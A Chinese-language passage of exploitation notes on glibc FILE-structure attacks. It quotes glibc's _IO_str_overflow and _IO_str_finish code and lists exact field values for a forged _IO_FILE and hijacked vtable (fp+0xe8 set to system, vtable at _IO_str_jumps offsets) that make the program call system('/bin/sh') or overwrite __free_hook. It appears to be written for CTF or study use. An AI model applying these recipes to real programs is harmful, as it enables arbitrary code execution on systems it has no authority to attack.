JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

如果我们能设置文件指针的 vtable_IO_str_jumps 么就能调用不一样的文件操作函数。

出现的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);

struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
but a 32 bit pointer type. In this case, we get 4 bytes of padding
after the vtable pointer. Putting them in a structure together solves
this problem. */

struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 由上一句能看出一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//call qword ptr [fp+0xe0] 参数是new_size
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
1
2
_IO_blen(fp)宏
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

0x1

利用的是其中的

1
2
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

要满足的条件

  1. fp->_flags & _IO_NO_WRITES为假
  2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  6. fp+0xe0指向system地址

绕过

  1. fp->flags = 0
  2. _fp->_IO_buf_base = 0
  3. fp->IO_buf_end = (bin_sh_addr - 100) / 2
  4. _fp->_IO_buf_base = /bin/sh_addr
  5. fp+0xe8 = system_addr
  6. vtable = _IO_str_jumps - 0x18

或者

  1. _flags = 0
  2. _IO_write_base = 0
  3. _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
  4. _IO_buf_end = (binsh_in_libc_addr -100) / 2
  5. _freeres_list = 0x2
  6. _freeres_buf = 0x3
  7. _mode = -1
  8. vtable = _IO_str_jumps - 0x18

0x2

注意到满足

1
2
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))

的时候,会先后执行

1
2
3
4
5
size_t old_blen = _IO_blen (fp);
// #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf);

三个操作,伪造 _IO_FILE 并劫持 vtable 为 _IO_str_jumps 通过一个 large bin attack 就可以轻松实现,并且上面三个语句中的 new_size,old_buf 和 old_blen 是我们可控的,这个函数就可以实现以下三步

  1. 调用 malloc,实现从 tcache 中分配 chunk,在这里就可以把我们之前放入的 __free_hook fake chunk 申请出来
  2. 将一段可控长度可控内容的内存段拷贝置 malloc 得来的 chunk 中(可以修改 __free_hook 为 system)
  3. 调用 free,且参数为内存段起始地址(”/bin/sh\x00”,getshell)

只要构造得当,执行该函数即可 getshell。

finish

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]参数为fp->_IO_buf_base
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

条件:

  1. _IO_buf_base 不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

构造如下:

  1. _flags = (binsh_in_libc + 0x10) & ~1
  2. _IO_buf_base = binsh_addr
  3. _freeres_list = 0x2
  4. _freeres_buf = 0x3
  5. _mode = -1
  6. vtable = _IO_str_finish - 0x18
  7. fp+0xe8 -> system_addr

或者

  1. fp->flags = 0
  2. vtable = _IO_str_jumps - 0x8//这样调用_IO_overflow时会调用到 _IO_str_finish
  3. _fp->_IO_buf_base = /bin/sh_addr
  4. fp+0xe8 = system_addr